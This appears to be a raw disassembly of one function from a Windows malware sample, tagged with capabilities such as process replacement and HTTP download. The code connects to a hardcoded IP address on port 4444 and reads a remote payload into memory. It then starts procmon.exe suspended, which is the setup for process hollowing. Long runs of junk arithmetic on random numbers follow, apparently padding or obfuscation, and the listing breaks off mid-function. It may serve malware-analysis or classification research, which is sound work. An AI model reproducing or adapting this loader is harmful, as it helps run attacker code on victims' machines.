Function at 0x140001584
Capabilities:
Connect to http server
Create http request
Create process on windows
Create process suspended
Read data from internet
Receive data
Resume thread
Send data
Send http request
Use process replacement

Disassembly:
push rbp
push rdi
push rbx
mov eax, 0x1610
call fcn.140006460
sub rsp, rax
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x1580], xmm6
mov dword [rbp + 0x15b0], ecx
mov qword [rbp + 0x15b8], rdx
call dbg.__main
lea rax, str.mfrupvgenpfjav.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x13e8], rax
cmp qword [rbp + 0x13e8], 0
jne 0x1400053b7
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x13e0], rax
cmp qword [rbp + 0x13e0], 0
jne 0x1400053b7
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp + 0x13d8], rax
cmp qword [rbp + 0x13d8], 0
je 0x1400053b7
mov rax, qword [rbp + 0x13d8]
mov qword [rsp + 0x38], 1
mov dword [rsp + 0x30], 0x800000
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x115c
lea rdx, str.132.163.25.36
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetConnectA]
call rax
mov qword [rbp + 0x13d0], rax
cmp qword [rbp + 0x13d0], 0
je 0x1400053b7
mov rax, qword [rbp + 0x13d0]
mov qword [rsp + 0x38], 1
mov dword [rsp + 0x30], 0x84e03200
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, str.TzHQuOXMxcIBSpEeXbUOqesTWuJQYVJNBAECYtian
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_HttpOpenRequestA]
call rax
mov qword [rbp + 0x13c8], rax
cmp qword [rbp + 0x13c8], 0
je 0x1400053b7
mov dword [rbp + 0x10a8], 0x3380
lea rdx, [rbp + 0x10a8]
mov rax, qword [rbp + 0x13c8]
mov r9d, 4
mov r8, rdx
mov edx, 0x1f
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetSetOptionA]
call rax
mov dword [rbp + 0x13c4], eax
mov r8d, 0
mov edx, 0x7a1200
mov ecx, 0x40000
mov rax, qword [sym.imp.KERNEL32.dll_HeapCreate]
call rax
mov qword [rbp + 0x13b8], rax
mov rax, qword [rbp + 0x13b8]
mov r8d, 0x7a1200
mov edx, 8
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov qword [rbp + 0x13b0], rax
mov rax, qword [rbp + 0x13b0]
mov qword [rbp + 0x1578], rax
mov rax, qword [rbp + 0x13c8]
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_HttpSendRequestA]
call rax
mov dword [rbp + 0x13ac], eax
cmp dword [rbp + 0x13ac], 0
je 0x1400053b7
lea rcx, [rbp + 0x10a4]
mov rdx, qword [rbp + 0x1578]
mov rax, qword [rbp + 0x13c8]
mov r9, rcx
mov r8d, 0x2000
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetReadFile]
call rax
mov dword [rbp + 0x13a8], eax
mov eax, dword [rbp + 0x10a4]
mov eax, eax
add qword [rbp + 0x1578], rax
mov eax, dword [rbp + 0x10a4]
test eax, eax
jne 0x1400017cb
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x13a0], rax
mov dword [rbp + 0x107c], 0
mov rax, rbp
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp], 0x68
lea rax, [rbp + 0x1080]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp + 0x1080]
mov qword [rsp + 0x48], rax
mov rax, rbp
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
lea rax, str.procmon.exe
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov rax, qword [rbp + 0x13a0]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1398], rax
mov rax, qword [rbp + 0x1080]
lea rcx, [rbp - 0x30]
lea rdx, [rbp + 0x107c]
mov qword [rsp + 0x20], rdx
mov r10, qword [rbp + 0x1398]
mov r9d, 0x30
mov r8, rcx
mov edx, 0
mov rcx, rax
call r10
mov rax, qword [rbp - 0x28]
add rax, 8
mov qword [rbp + 0x1390], rax
mov dword [rbp + 0x1570], 0xffffffff
mov ecx, 0x1070
call sym.malloc
mov qword [rbp + 0x1388], rax
add dword [rbp + 0x1570], 1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000e088]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x1570]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1388]
add rax, rdx
movsd xmm1, qword [0x14000e090]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x1570]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1388]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x1570]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1388]
add rax, rdx
movq xmm1, qword [0x14000e0a0]
andpd xmm0, xmm1
movsd qword [rax], xmm0
cmp dword [rbp + 0x1570], 0x20c
jle 0x140001946
mov dword [rbp + 0x156c], 0xffffffff
add dword [rbp + 0x156c], 1
call sym.rand
mov edx, eax
mov eax, edx
shl eax, 2
add eax, edx
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000e088]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.exp
movq rax, xmm0
mov qword [rbp + 0x1380], rax
cmp dword [rbp + 0x156c], 0x47
jle 0x1400019f6
mov ecx, 0x8b8
call sym.malloc
mov qword [rbp + 0x1378], rax
mov ecx, 0x8b8
call sym.malloc
mov qword [rbp + 0x1370], rax
mov dword [rbp + 0x1568], 0
jmp 0x140001afe
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x1568]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1378]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x1568], 1
cmp dword [rbp + 0x1568], 0x116
jle 0x140001a74
mov dword [rbp + 0x1568], 0
jmp 0x140001b6c
mov eax, dword [rbp + 0x1568]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1378]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x1568]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x1370]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.ceil
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x1568], 1
cmp dword [rbp + 0x1568], 0x116
jle 0x140001b1a
mov ecx, 0x6b0
call sym.malloc
mov qword [rbp + 0x1368], rax
mov ecx, 0x6b0
call sym.malloc
mov qword [rbp + 0x1360], rax
mov dword [rbp + 0x1564], 0
jmp 0x140001c33
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x1564]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1368]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x1564], 1
cmp dword [rbp + 0x1564], 0xd5
jle 0x140001ba9
mov dword [rbp + 0x1564], 0
jmp 0x140001ca1
mov eax, dword [rbp + 0x1564]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1368]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x1564]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x1360]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.floor
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x1564], 1
cmp dword [rbp + 0x1564], 0xd5
jle 0x140001c4f
mov dword [rbp + 0x1560], 0
mov dword [rbp + 0x155c], 1
mov dword [rbp + 0x1558], 0
mov dword [rbp + 0x135c], 0xf9
jmp 0x140001d0a
mov edx, dword [rbp + 0x1560]
mov eax, dword [rbp + 0x155c]
add eax, edx
mov dword [rbp + 0x10ac], eax
add dword [rbp + 0x1558], 1
mov eax, dword [rbp + 0x155c]
mov dword [rbp + 0x1560], eax
mov eax, dword [rbp + 0x10ac]
mov dword [rbp + 0x155c], eax
mov eax, dword [rbp + 0x1558]
cmp eax, dword [rbp + 0x135c]
jl 0x140001cd7
mov dword [rbp + 0x1554], 0x64
mov dword [rbp + 0x1550], 0x14
mov dword [rbp + 0x154c], 0xb4
mov dword [rbp + 0x1548], 0x78
jmp 0x140001e04
mov eax, dword [rbp + 0x154c]
cmp eax, dword [rbp + 0x1548]
jle 0x140001da1
mov eax, dword [rbp + 0x154c]
cmp eax, dword [rbp + 0x1554]
jle 0x140001d81
mov eax, dword [rbp + 0x154c]
cmp eax, dword [rbp + 0x1550]
jle 0x140001d78
sub dword [rbp + 0x154c], 1
jmp 0x140001ded
sub dword [rbp + 0x1550], 1
jmp 0x140001ded
mov eax, dword [rbp + 0x1554]
cmp eax, dword [rbp + 0x1550]
jle 0x140001d98
sub dword [rbp + 0x1554], 1
jmp 0x140001ded
sub dword [rbp + 0x1550], 1
jmp 0x140001ded
mov eax, dword [rbp + 0x1548]
cmp eax, dword [rbp + 0x1554]
jle 0x140001dcf
mov eax, dword [rbp + 0x1548]
cmp eax, dword [rbp + 0x1550]
jle 0x140001dc6
sub dword [rbp + 0x1548], 1
jmp 0x140001ded
sub dword [rbp + 0x1550], 1
jmp 0x140001ded
mov eax, dword [rbp + 0x1554]
cmp eax, dword [rbp + 0x1550]
jle 0x140001de6
sub dword [rbp + 0x1554], 1
jmp 0x140001ded
sub dword [rbp + 0x1550], 1
mov eax, dword [rbp + 0x154c]
mov edx, eax
lea rax, [0x14000e082]
mov rcx, rax
call sym.printf
cmp dword [rbp + 0x154c], 0
jg 0x140001d45
mov dword [rbp + 0x1544], 0xffffffff
mov ecx, 0xf18
call sym.malloc
mov qword [rbp + 0x1350], rax
add dword [rbp + 0x1544], 1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000e088]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x1544]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1350]
add rax, rdx
movsd xmm1, qword [0x14000e090]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x1544]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1350]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x1544]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1350]
add rax, rdx
movq xmm1, qword [0x14000e0a0]
andpd xmm0, xmm1
movsd qword [rax], xmm0
cmp dword [rbp + 0x1544], 0x1e1
jle 0x140001e2c
mov ecx, 0x1ac
call sym.malloc
mov qword [rbp + 0x1348], rax
mov dword [rbp + 0x153c], 0
mov dword [rbp + 0x1344], 0
mov dword [rbp + 0x1540], 0
jmp 0x140001f4f
call sym.rand
mov edx, dword [rbp + 0x1540]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1348]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff88888889
shr rdx, 0x20
add edx, eax
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1e
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x1540], 1
cmp dword [rbp + 0x1540], 0x6a
jle 0x140001f03
mov dword [rbp + 0x1540], 0
jmp 0x140001f8d
mov eax, dword [rbp + 0x1540]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1348]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x153c], eax
add dword [rbp + 0x1540], 1
cmp dword [rbp + 0x1540], 0x6a
jle 0x140001f64
mov rax, qword [rbp + 0x1348]
mov rcx, rax
call sym.free
mov ecx, 0x158
call sym.malloc
mov qword [rbp + 0x1338], rax
mov ecx, 0x158
call sym.malloc
mov qword [rbp + 0x1330], rax
mov ecx, 0x158
call sym.malloc
mov qword [rbp + 0x1328], rax
mov ecx, 0x158
call sym.malloc
mov qword [rbp + 0x1320], rax
mov dword [rbp + 0x1534], 0x55
mov dword [rbp + 0x1538], 0
jmp 0x140002095
call sym.rand
mov edx, dword [rbp + 0x1538]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1338]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sym.rand
mov edx, dword [rbp + 0x1538]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1330]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x1538], 1
cmp dword [rbp + 0x1538], 0x55
jle 0x140002002
mov dword [rbp + 0x1538], 0
jmp 0x140002131
mov eax, dword [rbp + 0x1534]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1338]
add rax, rdx
mov edx, dword [rbp + 0x1538]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1328]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x1534]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1330]
add rax, rdx
mov edx, dword [rbp + 0x1538]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1320]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x1534], 1
add dword [rbp + 0x1538], 1
cmp dword [rbp + 0x1538], 0x55
jle 0x1400020b1
mov rax, qword [rbp + 0x1338]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1330]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1328]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1320]
mov rcx, rax
call sym.free
mov ecx, 0x208
call sym.malloc
mov qword [rbp + 0x1318], rax
mov dword [rbp + 0x1530], 0
jmp 0x1400021e4
call sym.rand
mov edx, dword [rbp + 0x1530]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1318]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x1530], 1
cmp dword [rbp + 0x1530], 0x81
jle 0x140002197
mov dword [rbp + 0x1530], 0
jmp 0x1400022fc
mov dword [rbp + 0x10b4], 0
jmp 0x1400022de
mov eax, dword [rbp + 0x1530]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1318]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x10b4]
cdqe
add rax, 1
lea rcx, [rax*4]
mov rax, qword [rbp + 0x1318]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jle 0x1400022d7
mov eax, dword [rbp + 0x10b4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1318]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x10b0], eax
mov eax, dword [rbp + 0x1530]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1318]
add rax, rdx
mov edx, dword [rbp + 0x10b4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1318]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x10b4]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1318]
add rdx, rax
mov eax, dword [rbp + 0x10b0]
mov dword [rdx], eax
add dword [rbp + 0x1530], 1
mov eax, 0x81
sub eax, dword [rbp + 0x1530]
cmp dword [rbp + 0x10b4], eax
jl 0x14000220e
add dword [rbp + 0x1530], 1
cmp dword [rbp + 0x1530], 0x81
jle 0x1400021ff
mov rax, qword [rbp + 0x1318]
mov rcx, rax
call sym.free
mov ecx, 0x5b8
call sym.malloc
mov qword [rbp + 0x1310], rax
mov ecx, 0x5b8
call sym.malloc
mov qword [rbp + 0x1308], rax
mov dword [rbp + 0x152c], 0
jmp 0x1400023d6
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x152c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1310]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x152c], 1
cmp dword [rbp + 0x152c], 0xb6
jle 0x14000234c
mov dword [rbp + 0x152c], 0
jmp 0x140002444
mov eax, dword [rbp + 0x152c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1310]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x152c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x1308]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.floor
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x152c], 1
cmp dword [rbp + 0x152c], 0xb6
jle 0x1400023f2
mov dword [rbp + 0x1528], 0x6e
jmp 0x140002463
sub dword [rbp + 0x1528], 1
cmp dword [rbp + 0x1528], 0x16
jg 0x14000245c
mov ecx, 0x1dc
call sym.malloc
mov qword [rbp + 0x1300], rax
mov dword [rbp + 0x1520], 0
mov dword [rbp + 0x151c], 0
mov dword [rbp + 0x1524], 0
jmp 0x1400024ea
call sym.rand
mov edx, dword [rbp + 0x1524]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x1300]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x14f8b589
shr rdx, 0x20
sar edx, 0xd
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x186a0
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x1524], 1
cmp dword [rbp + 0x1524], 0x76
jle 0x14000249d
mov dword [rbp + 0x1524], 0
mov dword [rbp + 0x1524], 0
jmp 0x140002566
mov eax, dword [rbp + 0x1524]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1300]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x140002535
add dword [rbp + 0x1520], 1
jmp 0x14000255f
mov eax, dword [rbp + 0x1524]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1300]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x14000255f
add dword [rbp + 0x151c], 1
add dword [rbp + 0x1524], 1
cmp dword [rbp + 0x1524], 0x76
jle 0x140002509
mov rax, qword [rbp + 0x1300]
mov rcx, rax
call sym.free
mov dword [rbp + 0x1518], 0xffffffff
mov ecx, 0x4c0
call sym.malloc
mov qword [rbp + 0x12f8], rax
add dword [rbp + 0x1518], 1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x1518]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x12f8]
add rax, rdx
movsd xmm1, qword [0x14000e088]
divsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x1518]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x12f8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x1518]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x12f8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.atan
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x1518], 0x96
jle 0x140002599
mov dword [rbp + 0x12f4], 0
mov ecx, 0x604
call sym.malloc
mov qword [rbp + 0x12e8], rax
mov ecx, 0x604
call sym.malloc
mov qword [rbp + 0x12e0], rax
mov ecx, 0x604
call sym.malloc
mov qword [rbp + 0x12d8], rax
mov dword [rbp + 0x1514], 0
jmp 0x14000274c
mov dword [rbp + 0x1510], 0
jmp 0x140002738
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x1514]
cdqe
imul rcx, rax, 0x8c
mov rax, qword [rbp + 0x12e8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x1510]
cdqe
movss dword [rcx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x1514]
cdqe
imul rcx, rax, 0x8c
mov rax, qword [rbp + 0x12e0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x1510]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x1510], 1
cmp dword [rbp + 0x1510], 0x22
jle 0x14000268d
add dword [rbp + 0x1514], 1
cmp dword [rbp + 0x1514], 0xa
jle 0x14000267e
mov dword [rbp + 0x1514], 0
jmp 0x140002805
mov dword [rbp + 0x1510], 0
jmp 0x1400027f1
mov eax, dword [rbp + 0x1514]
cdqe
imul rdx, rax, 0x8c
mov rax, qword [rbp + 0x12e8]
add rdx, rax
mov eax, dword [rbp + 0x1510]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x1514]
cdqe
imul rdx, rax, 0x8c
mov rax, qword [rbp + 0x12e0]
add rdx, rax
mov eax, dword [rbp + 0x1510]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x1514]
cdqe
imul rdx, rax, 0x8c
mov rax, qword [rbp + 0x12d8]
add rdx, rax
divss xmm0, xmm1
mov eax, dword [rbp + 0x1510]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x1510], 1
cmp dword [rbp + 0x1510], 0x22
jle 0x140002774
add dword [rbp + 0x1514], 1
cmp dword [rbp + 0x1514], 0xa
jle 0x140002768
mov rax, qword [rbp + 0x12e8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x12e0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x12d8]
mov rcx, rax
call sym.free
mov qword [rbp + 0x1508], 0
mov ecx, 0x3c
call sym.malloc
mov qword [rbp + 0x12d0], rax
mov ecx, 0x3c
call sym.malloc
mov qword [rbp + 0x12c8], rax
mov ecx, 0x3c
call sym.malloc
mov qword [rbp + 0x12c0], rax
mov dword [rbp + 0x1504], 0
jmp 0x140002976
mov dword [rbp + 0x1500], 0
jmp 0x140002962
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x1504]
movsxd rcx, eax
mov rax, rcx
shl rax, 2
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x12d0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x1500]
cdqe
movss dword [rcx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x1504]
movsxd rcx, eax
mov rax, rcx
shl rax, 2
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x12c8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x1500]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x1500], 1
cmp dword [rbp + 0x1500], 4
jle 0x14000289b
add dword [rbp + 0x1504], 1
cmp dword [rbp + 0x1504], 2
jle 0x14000288c
mov dword [rbp + 0x1504], 0
jmp 0x140002a53
mov dword [rbp + 0x1500], 0
jmp 0x140002a3f
mov eax, dword [rbp + 0x1504]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x12d0]
add rdx, rax
mov eax, dword [rbp + 0x1500]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x1504]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x12c8]
add rdx, rax
mov eax, dword [rbp + 0x1500]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x1504]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x12c0]
add rdx, rax
mulss xmm0, xmm1
mov eax, dword [rbp + 0x1500]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x1500], 1
cmp dword [rbp + 0x1500], 4
jle 0x1400029a1
add dword [rbp + 0x1504], 1
cmp dword [rbp + 0x1504], 2
jle 0x140002992
mov rax, qword [rbp + 0x12d0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x12c8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x12c0]
mov rcx, rax
call sym.free
mov ecx, 0x950
call sym.malloc
mov qword [rbp + 0x12b8], rax
mov ecx, 0x950
call sym.malloc
mov qword [rbp + 0x12b0], rax
mov dword [rbp + 0x14fc], 0
jmp 0x140002b48
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x14fc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x12b8]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x14fc], 1
cmp dword [rbp + 0x14fc], 0x129
jle 0x140002abe
